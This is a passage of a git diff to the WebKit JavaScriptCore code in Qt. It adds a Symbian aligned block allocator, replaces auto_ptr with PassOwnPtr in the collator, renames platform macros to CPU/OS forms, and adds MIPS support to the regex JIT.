+ *     from this software without specific prior written permission. 
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if OS(SYMBIAN)
+
+#include "BlockAllocatorSymbian.h"
+
+
+namespace WTF {
+
+/** Efficiently allocates blocks of size blockSize with blockSize alignment. 
+ * Primarly designed for JSC Collector's needs. 
+ * Not thread-safe.    
+ */
+AlignedBlockAllocator::AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize )
+    : m_reservation(reservationSize), 
+      m_blockSize(blockSize)
+{
+
+     // Get system's page size value.
+     SYMBIAN_PAGESIZE(m_pageSize); 
+     
+     // We only accept multiples of system page size for both initial reservation and the alignment/block size
+     m_reservation = SYMBIAN_ROUNDUPTOMULTIPLE(m_reservation, m_pageSize);
+     __ASSERT_ALWAYS(SYMBIAN_ROUNDUPTOMULTIPLE(m_blockSize, m_pageSize), User::Panic(_L("AlignedBlockAllocator1"), KErrArgument));
+     
+     // Calculate max. bit flags we need to carve a reservationSize range into blockSize-sized blocks
+     m_map.numBits = m_reservation / m_blockSize;   
+     const TUint32 bitsPerWord = 8*sizeof(TUint32); 
+     const TUint32 numWords = (m_map.numBits + bitsPerWord -1) / bitsPerWord; 
+   
+     m_map.bits = new TUint32[numWords];
+     __ASSERT_ALWAYS(m_map.bits, User::Panic(_L("AlignedBlockAllocator2"), KErrNoMemory));
+     m_map.clearAll();
+     
+     // Open a Symbian RChunk, and reserve requested virtual address range   
+     // Any thread in this process can operate this rchunk due to EOwnerProcess access rights. 
+     TInt ret = m_chunk.CreateDisconnectedLocal(0 , 0, (TInt)m_reservation , EOwnerProcess);  
+     if (ret != KErrNone) 
+         User::Panic(_L("AlignedBlockAllocator3"), ret);
+       
+     // This is the offset to m_chunk.Base() required to make it m_blockSize-aligned
+     m_offset = SYMBIAN_ROUNDUPTOMULTIPLE(TUint32(m_chunk.Base()), m_blockSize) - TUint(m_chunk.Base()); 
+
+}
+
+void* AlignedBlockAllocator::alloc()
+{
+
+    TInt  freeRam = 0; 
+    void* address = 0;
+    
+    // Look up first free slot in bit map
+    const TInt freeIdx = m_map.findFree();
+        
+    // Pseudo OOM: We ate up the address space we reserved..
+    // ..even though the device may have free RAM left
+    if (freeIdx < 0)
+        return 0;
+        
+    TInt ret = m_chunk.Commit(m_offset + (m_blockSize * freeIdx), m_blockSize);
+    if (ret != KErrNone)  
+        return 0; // True OOM: Device didn't have physical RAM to spare
+        
+    // Updated bit to mark region as in use. 
+    m_map.set(freeIdx); 
+    
+    // Calculate address of committed region (block)
+    address = (void*)( (m_chunk.Base() + m_offset) + (TUint)(m_blockSize * freeIdx) );
+    
+    return address;
+}
+
+void AlignedBlockAllocator::free(void* block)
+{
+    // Calculate index of block to be freed
+    TInt idx = TUint(static_cast<TUint8*>(block) - m_chunk.Base() - m_offset) / m_blockSize;
+    
+    __ASSERT_DEBUG(idx >= 0 && idx < m_map.numBits, User::Panic(_L("AlignedBlockAllocator4"), KErrCorrupt)); // valid index check
+    __ASSERT_DEBUG(m_map.get(idx), User::Panic(_L("AlignedBlockAllocator5"), KErrCorrupt)); // in-use flag check    
+    
+    // Return committed region to system RAM pool (the physical RAM becomes usable by others)
+    TInt ret = m_chunk.Decommit(m_offset + m_blockSize * idx, m_blockSize);
+            
+    // mark this available again
+    m_map.clear(idx); 
+}
+
+void AlignedBlockAllocator::destroy() 
+{
+    // release everything!
+    m_chunk.Decommit(0, m_chunk.MaxSize());
+    m_map.clearAll();
+}
+
+AlignedBlockAllocator::~AlignedBlockAllocator()
+{
+    destroy();
+    m_chunk.Close();
+    delete [] m_map.bits;
+}
+
+} // end of namespace
+
+#endif // SYMBIAN
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h b/src/3rdparty/webkit/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
new file mode 100644
index 0000000..21422f6
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer. 
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution. 
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission. 
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BlockAllocatorSymbian_h
+#define BlockAllocatorSymbian_h
+
+#include <e32cmn.h>
+#include <e32std.h>
+#include <hal.h>
+
+
+#define SYMBIAN_PAGESIZE(x) (HAL::Get(HALData::EMemoryPageSize, x));
+#define SYMBIAN_FREERAM(x)  (HAL::Get(HALData::EMemoryRAMFree, x));
+#define SYMBIAN_ROUNDUPTOMULTIPLE(x, multipleof)    ( (x + multipleof - 1) & ~(multipleof - 1) )
+
+// Set sane defaults if -D<flagname=value> wasn't provided via compiler args
+#ifndef JSCCOLLECTOR_VIRTUALMEM_RESERVATION
+#if defined(__WINS__) 
+    // Emulator has limited virtual address space
+    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (4*1024*1024)
+#else
+    // HW has plenty of virtual addresses
+    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (128*1024*1024)
+#endif
+#endif
+
+namespace WTF {
+
+/** 
+ *  Allocates contiguous region of size blockSize with blockSize-aligned address. 
+ *  blockSize must be a multiple of system page size (typically 4K on Symbian/ARM)
+ *
+ *  @param reservationSize Virtual address range to be reserved upon creation of chunk (bytes).
+ *  @param blockSize Size of a single allocation. Returned address will also be blockSize-aligned.
+ */
+class AlignedBlockAllocator {
+    public:
+        AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize);
+        ~AlignedBlockAllocator();
+        void destroy();
+        void* alloc();
+        void free(void* data);
+    
+    private: 
+        RChunk   m_chunk; // Symbian chunk that lets us reserve/commit/decommit
+        TUint    m_offset; // offset of first committed region from base 
+        TInt     m_pageSize; // cached value of system page size, typically 4K on Symbian
+        TUint32  m_reservation;
+        TUint32  m_blockSize;  
+
+        // Tracks comitted/decommitted state of a blockSize region
+        struct {
+            
+            TUint32 *bits; // array of bit flags 
+            TUint32  numBits; // number of regions to keep track of
+            
+            bool get(TUint32 n) const
+            {
+                return !!(bits[n >> 5] & (1 << (n & 0x1F)));
+            }
+            
+            void set(TUint32 n)
+            {
+                bits[n >> 5] |= (1 << (n & 0x1F));
+            }
+            
+            void clear(TUint32 n)
+            {
+                bits[n >> 5] &= ~(1 << (n & 0x1F));
+            }
+            
+            void clearAll()
+            {
+               for (TUint32 i = 0; i < numBits; i++)
+                    clear(i);
+            }
+            
+            TInt findFree() const
+            {
+                for (TUint32 i = 0; i < numBits; i++) {
+                    if (!get(i)) 
+                        return i;
+                }
+                return -1;
+            }
+            
+        } m_map;  
+
+};
+ 
+}
+
+#endif // end of BlockAllocatorSymbian_h
+
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/Collator.h b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/Collator.h
index 51e8a06..fe6a809 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/Collator.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/Collator.h
@@ -29,8 +29,8 @@
 #ifndef WTF_Collator_h
 #define WTF_Collator_h
 
-#include <memory>
 #include <wtf/Noncopyable.h>
+#include <wtf/PassOwnPtr.h>
 #include <wtf/unicode/Unicode.h>
 
 #if USE(ICU_UNICODE) && !UCONFIG_NO_COLLATION
@@ -47,7 +47,7 @@ namespace WTF {
         ~Collator();
         void setOrderLowerFirst(bool);
 
-        static std::auto_ptr<Collator> userDefault();
+        static PassOwnPtr<Collator> userDefault();
 
         Result collate(const ::UChar*, size_t, const ::UChar*, size_t) const;
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/CollatorDefault.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/CollatorDefault.cpp
index eddbe53..4e05432 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/CollatorDefault.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/CollatorDefault.cpp
@@ -45,9 +45,9 @@ void Collator::setOrderLowerFirst(bool)
 {
 }
 
-std::auto_ptr<Collator> Collator::userDefault()
+PassOwnPtr<Collator> Collator::userDefault()
 {
-    return std::auto_ptr<Collator>(new Collator(0));
+    return new Collator(0);
 }
 
 // A default implementation for platforms that lack Unicode-aware collation.
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/UTF8.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/UTF8.cpp
index 9e713fe..21d5856 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/UTF8.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/UTF8.cpp
@@ -23,6 +23,7 @@
  * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
  */
 
+#include "config.h"
 #include "UTF8.h"
 
 namespace WTF {
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/Unicode.h b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/Unicode.h
index 7016a03..d59439d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/Unicode.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/Unicode.h
@@ -26,11 +26,7 @@
 #include <wtf/Assertions.h>
 
 #if USE(QT4_UNICODE)
-#if COMPILER(WINSCW) || COMPILER(RVCT)
-#include "wtf/unicode/qt4/UnicodeQt4.h"
-#else
 #include "qt4/UnicodeQt4.h"
-#endif
 #elif USE(ICU_UNICODE)
 #include <wtf/unicode/icu/UnicodeIcu.h>
 #elif USE(GLIB_UNICODE)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/glib/UnicodeGLib.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/glib/UnicodeGLib.cpp
index a779b36..e20c376 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/glib/UnicodeGLib.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/glib/UnicodeGLib.cpp
@@ -19,6 +19,7 @@
  *
  */
 
+#include "config.h"
 #include "UnicodeGLib.h"
 
 namespace WTF {
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/glib/UnicodeGLib.h b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/glib/UnicodeGLib.h
index c03d3ec..46b00ea 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/glib/UnicodeGLib.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/glib/UnicodeGLib.h
@@ -26,7 +26,7 @@
 #define UnicodeGLib_h
 
 #include "UnicodeMacrosFromICU.h"
-#include <wtf/GOwnPtr.h>
+#include "GOwnPtr.h"
 
 #include <glib.h>
 #include <pango/pango.h>
@@ -152,6 +152,11 @@ inline bool isArabicChar(UChar32 c)
     return c >= 0x0600 && c <= 0x06FF;
 }
 
+inline bool isAlphanumeric(UChar32 c)
+{
+    return g_unichar_isalnum(c);
+}
+
 inline bool isFormatChar(UChar32 c)
 {
     return g_unichar_type(c) == G_UNICODE_FORMAT;
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/icu/CollatorICU.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/icu/CollatorICU.cpp
index 6376bb3..ecab5bd 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/icu/CollatorICU.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/icu/CollatorICU.cpp
@@ -36,7 +36,7 @@
 #include <unicode/ucol.h>
 #include <string.h>
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 #include "RetainPtr.h"
 #include <CoreFoundation/CoreFoundation.h>
 #endif
@@ -57,11 +57,11 @@ Collator::Collator(const char* locale)
 {
 }
 
-std::auto_ptr<Collator> Collator::userDefault()
+PassOwnPtr<Collator> Collator::userDefault()
 {
-#if PLATFORM(DARWIN) && PLATFORM(CF)
+#if OS(DARWIN) && PLATFORM(CF)
     // Mac OS X doesn't set UNIX locale to match user-selected one, so ICU default doesn't work.
-#if !defined(BUILDING_ON_TIGER) && !defined(BUILDING_ON_LEOPARD) && !PLATFORM(IPHONE)
+#if !defined(BUILDING_ON_TIGER) && !defined(BUILDING_ON_LEOPARD) && !OS(IPHONE_OS)
     RetainPtr<CFLocaleRef> currentLocale(AdoptCF, CFLocaleCopyCurrent());
     CFStringRef collationOrder = (CFStringRef)CFLocaleGetValue(currentLocale.get(), kCFLocaleCollatorIdentifier);
 #else
@@ -71,11 +71,11 @@ std::auto_ptr<Collator> Collator::userDefault()
     char buf[256];
     if (collationOrder) {
         CFStringGetCString(collationOrder, buf, sizeof(buf), kCFStringEncodingASCII);
-        return std::auto_ptr<Collator>(new Collator(buf));
+        return new Collator(buf);
     } else
-        return std::auto_ptr<Collator>(new Collator(""));
+        return new Collator("");
 #else
-    return std::auto_ptr<Collator>(new Collator(0));
+    return new Collator(0);
 #endif
 }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/icu/UnicodeIcu.h b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/icu/UnicodeIcu.h
index 35c6fbf..a2a5c0a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/icu/UnicodeIcu.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/icu/UnicodeIcu.h
@@ -164,6 +164,11 @@ inline bool isArabicChar(UChar32 c)
       return ublock_getCode(c) == UBLOCK_ARABIC;
 }
 
+inline bool isAlphanumeric(UChar32 c)
+{
+    return u_isalnum(c);
+}
+
 inline bool isSeparatorSpace(UChar32 c)
 {
     return u_charType(c) == U_SPACE_SEPARATOR;
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/qt4/UnicodeQt4.h b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/qt4/UnicodeQt4.h
index bdf2028..9b1754a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/qt4/UnicodeQt4.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/qt4/UnicodeQt4.h
@@ -30,7 +30,6 @@
 
 #include <stdint.h>
 
-#if QT_VERSION >= 0x040300
 QT_BEGIN_NAMESPACE
 namespace QUnicodeTables {
     struct Properties {
@@ -55,10 +54,9 @@ namespace QUnicodeTables {
     Q_CORE_EXPORT const Properties * QT_FASTCALL properties(ushort ucs2);
 }
 QT_END_NAMESPACE
-#endif
 
 // ugly hack to make UChar compatible with JSChar in API/JSStringRef.h
-#if defined(Q_OS_WIN) || COMPILER(WINSCW)
+#if defined(Q_OS_WIN) || COMPILER(WINSCW) || COMPILER(RVCT)
 typedef wchar_t UChar;
 #else
 typedef uint16_t UChar;
@@ -186,8 +184,6 @@ enum CharCategory {
 };
 
 
-#if QT_VERSION >= 0x040300
-
 // FIXME: handle surrogates correctly in all methods
 
 inline UChar32 toLower(UChar32 ch)
@@ -406,138 +402,6 @@ inline CharCategory category(UChar32 c)
     return (CharCategory) U_MASK(QChar::category(c));
 }
 
-#else
-
-inline UChar32 toLower(UChar32 ch)
-{
-    if (ch > 0xffff)
-        return ch;
-    return QChar((unsigned short)ch).toLower().unicode();
-}
-
-inline int toLower(UChar* result, int resultLength, const UChar* src, int srcLength,  bool* error)
-{
-  *error = false;
-  if (resultLength < srcLength) {
-    *error = true;
-    return srcLength;
-  }
-  for (int i = 0; i < srcLength; ++i)
-    result[i] = QChar(src[i]).toLower().unicode();
-  return srcLength;
-}
-
-inline UChar32 toUpper(UChar32 ch)
-{
-    if (ch > 0xffff)
-        return ch;
-    return QChar((unsigned short)ch).toUpper().unicode();
-}
-
-inline int toUpper(UChar* result, int resultLength, const UChar* src, int srcLength,  bool* error)
-{
-    *error = false;
-    if (resultLength < srcLength) {
-        *error = true;
-        return srcLength;
-    }
-    for (int i = 0; i < srcLength; ++i)
-        result[i] = QChar(src[i]).toUpper().unicode();
-    return srcLength;
-}
-
-inline int toTitleCase(UChar32 c)
-{
-    if (c > 0xffff)
-        return c;
-    return QChar((unsigned short)c).toUpper().unicode();
-}
-
-inline UChar32 foldCase(UChar32 c)
-{
-    if (c > 0xffff)
-        return c;
-    return QChar((unsigned short)c).toLower().unicode();
-}
-
-inline int foldCase(UChar* result, int resultLength, const UChar* src, int srcLength,  bool* error)
-{
-    return toLower(result, resultLength, src, srcLength, error);
-}
-
-inline bool isPrintableChar(UChar32 c)
-{
-    return (c & 0xffff0000) == 0 && QChar((unsigned short)c).isPrint();
-}
-
-inline bool isArabicChar(UChar32 c)
-{
-    return c >= 0x0600 && c <= 0x06FF;
-}
-
-inline bool isSeparatorSpace(UChar32 c)
-{
-    return (c & 0xffff0000) == 0 && QChar((unsigned short)c).category() == QChar::Separator_Space;
-}
-
-inline bool isPunct(UChar32 c)
-{
-    return (c & 0xffff0000) == 0 && QChar((unsigned short)c).isPunct();
-}
-
-inline bool isLower(UChar32 c)
-{
-    return (c & 0xffff0000) == 0 && QChar((unsigned short)c).category() == QChar::Letter_Lowercase;
-}
-
-inline UChar32 mirroredChar(UChar32 c)
-{
-    if (c > 0xffff)
-        return c;
-    return QChar(c).mirroredChar().unicode();
-}
-
-inline uint8_t combiningClass(UChar32 c)
-{
-    if (c > 0xffff)
-        return 0;
-    return QChar((unsigned short)c).combiningClass();
-}
-
-inline DecompositionType decompositionType(UChar32 c)
-{
-    if (c > 0xffff)
-        return DecompositionNone;
-    return (DecompositionType)QChar(c).decompositionTag();
-}
-
-inline int umemcasecmp(const UChar* a, const UChar* b, int len)
-{
-    for (int i = 0; i < len; ++i) {
-        QChar c1 = QChar(a[i]).toLower();
-        QChar c2 = QChar(b[i]).toLower();
-        if (c1 != c2)
-        return c1.unicode() - c2.unicode();
-    }
-    return 0;
-}
-
-inline Direction direction(UChar32 c)
-{
-    if (c > 0xffff)
-        return LeftToRight;
-    return (Direction)QChar(c).direction();
-}
-
-inline CharCategory category(UChar32 c)
-{
-    if (c > 0xffff)
-        return NoCategory;
-    return (CharCategory) U_MASK(QChar(c).category());
-}
-
-#endif
-
 } }
 
 #endif // WTF_UNICODE_QT4_H
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/wince/UnicodeWince.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/wince/UnicodeWince.cpp
index 966f2a1..2df44f8 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/wince/UnicodeWince.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/unicode/wince/UnicodeWince.cpp
@@ -19,6 +19,7 @@
  *  Boston, MA 02110-1301, USA.
  */
 
+#include "config.h"
 #include "UnicodeWince.h"
 
 #include <wchar.h>
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/wince/FastMallocWince.h b/src/3rdparty/webkit/JavaScriptCore/wtf/wince/FastMallocWince.h
index 93d9f75..37174f0 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/wince/FastMallocWince.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/wince/FastMallocWince.h
@@ -1,5 +1,4 @@
 /*
- *  This file is part of the KDE libraries
  *  Copyright (C) 2005, 2006, 2007, 2008 Apple Inc. All rights reserved.
  *  Copyright (C) 2007-2009 Torch Mobile, Inc. All rights reserved
  *
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/wince/MemoryManager.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/wince/MemoryManager.cpp
index b65b368..81d4f80 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/wince/MemoryManager.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/wince/MemoryManager.cpp
@@ -139,25 +139,25 @@ void* fastZeroedMalloc(size_t n)
     return p;
 }
 
-void* tryFastMalloc(size_t n)
+TryMallocReturnValue tryFastMalloc(size_t n)
 {
     MemoryAllocationCanFail canFail;
     return fastMalloc(n);
 }
 
-void* tryFastZeroedMalloc(size_t n)
+TryMallocReturnValue tryFastZeroedMalloc(size_t n)
 {
     MemoryAllocationCanFail canFail;
     return fastZeroedMalloc(n);
 }
 
-void* tryFastCalloc(size_t n_elements, size_t element_size)
+TryMallocReturnValue tryFastCalloc(size_t n_elements, size_t element_size)
 {
     MemoryAllocationCanFail canFail;
     return fastCalloc(n_elements, element_size);
 }
 
-void* tryFastRealloc(void* p, size_t n)
+TryMallocReturnValue tryFastRealloc(void* p, size_t n)
 {
     MemoryAllocationCanFail canFail;
     return fastRealloc(p, n);
diff --git a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexCompiler.cpp b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexCompiler.cpp
index c7b3c81..9cd3d12 100644
--- a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexCompiler.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexCompiler.cpp
@@ -708,7 +708,7 @@ const char* compileRegex(const UString& patternString, RegexPattern& pattern)
         unsigned numSubpatterns = pattern.m_numSubpatterns;
 
         constructor.reset();
-#ifndef NDEBUG
+#if !ASSERT_DISABLED
         const char* error =
 #endif
             parse(constructor, patternString, numSubpatterns);
diff --git a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexCompiler.h b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexCompiler.h
index 3ed2be9..9d2443a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexCompiler.h
+++ b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexCompiler.h
@@ -26,13 +26,11 @@
 #ifndef RegexCompiler_h
 #define RegexCompiler_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(YARR)
 
-#include <wtf/unicode/Unicode.h>
 #include "RegexParser.h"
 #include "RegexPattern.h"
+#include <wtf/unicode/Unicode.h>
 
 namespace JSC { namespace Yarr {
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexInterpreter.cpp b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexInterpreter.cpp
index d088086..c2cb1c2 100644
--- a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexInterpreter.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexInterpreter.cpp
@@ -280,20 +280,6 @@ public:
         return false;
     }
 
-    bool tryConsumeCharacter(int testChar)
-    {
-        if (input.atEnd())
-            return false;
-
-        int ch = input.read();
-
-        if (pattern->m_ignoreCase ? ((Unicode::toLower(testChar) == ch) || (Unicode::toUpper(testChar) == ch)) : (testChar == ch)) {
-            input.next();
-            return true;
-        }
-        return false;
-    }
-
     bool checkCharacter(int testChar, int inputPosition)
     {
         return testChar == input.readChecked(inputPosition);
@@ -305,23 +291,6 @@ public:
         return (loChar == ch) || (hiChar == ch);
     }
 
-    bool tryConsumeCharacterClass(CharacterClass* characterClass, bool invert)
-    {
-        if (input.atEnd())
-            return false;
-
-        bool match = testCharacterClass(characterClass, input.read());
-
-        if (invert)
-            match = !match;
-
-        if (match) {
-            input.next();
-            return true;
-        }
-        return false;
-    }
-
     bool checkCharacterClass(CharacterClass* characterClass, bool invert, int inputPosition)
     {
         bool match = testCharacterClass(characterClass, input.readChecked(inputPosition));
diff --git a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexInterpreter.h b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexInterpreter.h
index 48c9a5e..e3c3122 100644
--- a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexInterpreter.h
+++ b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexInterpreter.h
@@ -26,13 +26,11 @@
 #ifndef RegexInterpreter_h
 #define RegexInterpreter_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(YARR)
 
-#include <wtf/unicode/Unicode.h>
 #include "RegexParser.h"
 #include "RegexPattern.h"
+#include <wtf/unicode/Unicode.h>
 
 namespace JSC { namespace Yarr {
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexJIT.cpp b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexJIT.cpp
index 5ce579a..271d453 100644
--- a/src/3rdparty/webkit/JavaScriptCore/yarr/RegexJIT.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/yarr/RegexJIT.cpp
@@ -44,7 +44,7 @@ namespace JSC { namespace Yarr {
 class RegexGenerator : private MacroAssembler {
     friend void jitCompileRegex(JSGlobalData* globalData, RegexCodeBlock& jitObject, const UString& pattern, unsigned& numSubpatterns, const char*& error, bool ignoreCase, bool multiline);
 
-#if PLATFORM(ARM)
+#if CPU(ARM)
     static const RegisterID input = ARMRegisters::r0;
     static const RegisterID index = ARMRegisters::r1;
     static const RegisterID length = ARMRegisters::r2;
@@ -54,7 +54,17 @@ class RegexGenerator : private MacroAssembler {
     static const RegisterID regT1 = ARMRegisters::r6;
 
     static const RegisterID returnRegister = ARMRegisters::r0;
-#elif PLATFORM(X86)
+#elif CPU(MIPS)
+    static const RegisterID input = MIPSRegisters::a0;
+    static const RegisterID index = MIPSRegisters::a1;
+    static const RegisterID length = MIPSRegisters::a2;
+    static const RegisterID output = MIPSRegisters::a3;
+
+    static const RegisterID regT0 = MIPSRegisters::t4;
+    static const RegisterID regT1 = MIPSRegisters::t5;
+
+    static const RegisterID returnRegister = MIPSRegisters::v0;
+#elif CPU(X86)
     static const RegisterID input = X86Registers::eax;
     static const RegisterID index = X86Registers::edx;
     static const RegisterID length = X86Registers::ecx;
@@ -64,7 +74,7 @@ class RegexGenerator : private MacroAssembler {
     static const RegisterID regT1 = X86Registers::esi;
 
     static const RegisterID returnRegister = X86Registers::eax;
-#elif PLATFORM(X86_64)
+#elif CPU(X86_64)
     static const RegisterID input = X86Registers::edi;
     static const RegisterID index = X86Registers::esi;
     static const RegisterID length = X86Registers::edx;
@@ -1288,11 +1298,11 @@ class RegexGenerator : private MacroAssembler {
 
     void generateEnter()
     {
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         push(X86Registers::ebp);
         move(stackPointerRegister, X86Registers::ebp);
         push(X86Registers::ebx);
-#elif PLATFORM(X86)
+#elif CPU(X86)
         push(X86Registers::ebp);
         move(stackPointerRegister, X86Registers::ebp);
         // TODO: do we need spill registers to fill the output pointer if there are no sub captures?
@@ -1308,28 +1318,32 @@ class RegexGenerator : private MacroAssembler {
     #else
         loadPtr(Address(X86Registers::ebp, 2 * sizeof(void*)), output);
     #endif
-#elif PLATFORM(ARM)
+#elif CPU(ARM)
         push(ARMRegisters::r4);
         push(ARMRegisters::r5);
         push(ARMRegisters::r6);
         move(ARMRegisters::r3, output);
+#elif CPU(MIPS)
+        // Do nothing.
 #endif
     }
 
     void generateReturn()
     {
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         pop(X86Registers::ebx);
         pop(X86Registers::ebp);
-#elif PLATFORM(X86)
+#elif CPU(X86)
         pop(X86Registers::esi);
         pop(X86Registers::edi);
         pop(X86Registers::ebx);
         pop(X86Registers::ebp);
-#elif PLATFORM(ARM)
+#elif CPU(ARM)
         pop(ARMRegisters::r6);
         pop(ARMRegisters::r5);
         pop(ARMRegisters::r4);
+#elif CPU(MIPS)
+        // Do nothing
 #endif
         ret();
     }
